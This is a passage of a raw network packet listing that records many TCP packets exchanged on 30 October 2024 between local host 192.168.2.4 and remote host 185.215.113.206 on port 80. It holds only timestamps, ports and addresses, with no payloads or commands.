Oct 30, 2024 06:16:31.392312050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392321110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392328978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392342091 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392350912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392359972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392370939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392385006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392390966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392400980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392414093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392420053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392429113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392441034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392457008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392477989 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392498016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392657995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392684937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392695904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392705917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392726898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392746925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392761946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392771959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392782927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.392808914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.392844915 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393018961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393029928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393042088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393069029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393101931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393141031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393188953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393219948 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393230915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393241882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393254995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393265009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393271923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393301010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393321991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393491030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393501997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393538952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393558025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393568039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393578053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393589020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393604040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393619061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393625021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393634081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393646002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393659115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.393663883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.393706083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.394798040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394855976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.394869089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394881010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394892931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394907951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394908905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.394917965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394933939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394941092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.394963980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.394984961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.394995928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.395005941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.395015001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.395046949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.510696888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510713100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510732889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510741949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510751963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510761976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510772943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510787964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510797977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510812998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510823011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510833025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510854959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.510910988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.510938883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.510982990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511008978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511018038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511029005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511051893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511095047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511145115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511153936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511193037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511217117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511228085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511238098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511248112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511255980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511265039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511301041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511461973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511471033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511478901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511487961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511513948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511537075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511663914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511673927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511682987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511687994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511718035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511746883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511827946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511837006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511846066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511883020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511920929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511929989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511939049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511948109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511957884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.511969090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.511991978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512015104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512219906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512229919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512238979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512269974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512281895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512294054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512305021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512310982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512321949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512331009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512339115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512378931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512511015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512542963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512552977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512557983 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512589931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512594938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512603998 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512638092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512656927 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512666941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512676001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512681007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512686968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.512710094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.512765884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.513000965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513060093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.513098001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513108015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513118029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513122082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513132095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513144970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.513153076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513164043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513175964 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.513180971 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.513223886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.557750940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.557802916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.557813883 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.557825089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.557961941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.629971981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630007029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630017996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630034924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630053997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630064964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630075932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630085945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630096912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630103111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630129099 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630148888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630160093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630171061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630201101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630245924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630264044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630274057 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630284071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630295038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630311966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630333900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630372047 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630386114 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630393028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630414009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630450010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630469084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630479097 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630489111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630517960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630538940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630593061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630603075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630611897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630623102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630637884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630683899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630696058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630739927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630757093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630768061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630781889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630816936 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630851984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630863905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630881071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630894899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630908966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630913973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630924940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.630933046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.630959988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631057024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631098986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631107092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631115913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631150007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631166935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631181002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631191015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631200075 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631211996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631221056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631230116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631278992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631380081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631422997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631428957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631438017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631449938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631494045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631494045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631513119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631522894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631532907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631541014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631551027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631561041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631568909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631623983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631755114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631766081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631776094 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631803036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631814003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631824017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631829977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631841898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631869078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631896973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.631982088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631993055 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.631998062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.632008076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.632045984 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.632081032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.632091999 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.632138014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.673738003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.673753977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.673765898 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.673840046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.673894882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.676908016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.676923037 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.676934004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.676973104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.677012920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749028921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749056101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749059916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749126911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749136925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749141932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749152899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749157906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749169111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749198914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749211073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749242067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749278069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749313116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749332905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749341965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749355078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749362946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749372005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749387026 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749419928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749443054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749452114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749459982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749480963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749509096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749521017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749556065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749573946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749583006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749608040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749623060 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749653101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749686003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749712944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749722004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749747992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749778032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749799967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749809980 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749818087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749846935 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749877930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749887943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749910116 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749919891 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.749927044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749947071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749957085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.749969959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.750000954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.750065088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.750112057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 06:16:31.750135899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.750145912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.750155926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 06:16:31.750169992 CET	49758	80	192.168.2.4	185.215.113.206
